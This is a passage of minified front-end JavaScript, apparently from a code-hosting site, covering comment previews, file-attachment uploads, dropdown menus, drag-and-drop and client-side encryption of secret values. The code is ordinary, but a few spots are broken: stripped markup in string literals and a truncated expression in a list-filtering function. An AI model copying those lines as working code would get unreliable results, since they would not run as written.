y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const 